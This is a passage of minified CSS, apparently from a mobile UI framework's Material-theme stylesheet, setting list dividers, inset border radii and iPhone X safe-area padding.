ul:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list.inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.inset ul{border-radius:4px}.md .list.inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.inset li:first-child:last-child>a{border-radius:4px}@media (min-width:768px){.md .list.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.tablet-inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.tablet-inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.tablet-inset li:first-child:last-child>a{border-radius:4px}}.md li li:last-child .item-inner:after,.md li:last-child li .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .md li li:last-child .item-inner:after,html.device-pixel-ratio-2 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .md li li:last-child .item-inner:after,html.device-pixel-ratio-3 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{background-position:calc(16px + constant(safe-area-inset-left)) center;background-position:calc(16px + env(safe-area-inset-left)) center}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner{padding-left:calc(42px + constant(safe-area-inset-left));padding-left:calc(42px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(42px + constant(safe-area-inset-left));padding-left:calc(42px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner{padding-left:calc(42px + constant(safe-area-inset-left));padding-left:calc(42px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row{padding-left:0}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after{right:calc(16px + constant(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .sheet-modal 